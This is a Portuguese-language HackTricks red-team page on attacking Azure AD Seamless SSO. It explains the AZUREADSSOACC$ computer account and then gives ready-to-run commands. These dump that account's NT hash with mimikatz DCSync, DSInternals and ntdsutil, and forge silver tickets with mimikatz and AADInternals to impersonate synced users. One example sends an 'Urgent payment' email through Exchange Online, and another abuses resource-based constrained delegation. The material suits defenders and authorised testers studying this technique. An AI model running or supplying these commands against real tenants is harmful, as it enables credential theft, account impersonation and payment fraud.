Az - Seamless SSO

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Da documentação: O Logon Único Sem Costura do Azure Active Directory (Azure AD Seamless SSO) automaticamente faz login dos usuários quando estão em seus dispositivos corporativos conectados à sua rede corporativa. Quando habilitado, os usuários não precisam digitar suas senhas para fazer login no Azure AD, e geralmente, nem precisam digitar seus nomes de usuário. Essa funcionalidade fornece aos seus usuários acesso fácil às suas aplicações baseadas em nuvem sem a necessidade de componentes adicionais locais.

Basicamente, o Logon Único Sem Costura do Azure AD faz login dos usuários quando estão em um PC associado a um domínio local.

É suportado tanto por PHS (Sincronização de Hash de Senha) quanto por PTA (Autenticação de Passagem).

O SSO de desktop está usando Kerberos para autenticação. Quando configurado, o Azure AD Connect cria uma conta de computador chamada AZUREADSSOACC$ no AD local. A senha da conta AZUREADSSOACC$ é enviada em texto simples para o Azure AD durante a configuração.

Os tickets Kerberos são criptografados usando o NTHash (MD4) da senha e o Azure AD está usando a senha enviada para descriptografar os tickets.

O Azure AD expõe um endpoint (https://autologon.microsoftazuread-sso.com) que aceita tickets Kerberos. O navegador da máquina associada ao domínio encaminha os tickets para este endpoint para SSO.

Local -> nuvem

A senha do usuário AZUREADSSOACC$ nunca muda. Portanto, um administrador de domínio poderia comprometer o hash dessa conta, e então usá-lo para criar tickets silver para se conectar ao Azure com qualquer usuário local sincronizado:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Com o hash, agora você pode gerar tickets de prata:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Para utilizar o "silver ticket", os seguintes passos devem ser executados:

  1. Iniciar o Navegador: O Mozilla Firefox deve ser lançado.

  2. Configurar o Navegador:

  3. Acessar a Aplicação Web:

    • Visite uma aplicação web integrada ao domínio AAD da organização. Um exemplo comum é Office 365.

  4. Processo de Autenticação:

    • Na tela de login, o nome de usuário deve ser inserido, deixando o campo de senha em branco.

    • Para prosseguir, pressione TAB ou ENTER.

Isso não contorna a MFA se estiver habilitada.

Criando tickets Kerberos para usuários exclusivos da nuvem

Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem definir o SID para qualquer usuário da nuvem. Dessa forma, os tickets Kerberos também podem ser criados para usuários exclusivos da nuvem. O único requisito é que o SID seja um SID adequado.

Alterar o SID de usuários administradores exclusivos da nuvem agora está bloqueado pela Microsoft. Para mais informações, consulte https://aadinternals.com/post/on-prem_admin/

On-prem -> Nuvem via Delegação Constrainda Baseada em Recurso

Qualquer pessoa que possa gerenciar contas de computador (AZUREADSSOACC$) no contêiner ou Unidade Organizacional em que essa conta está, pode configurar uma delegação constrainda baseada em recurso sobre a conta e acessá-la.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización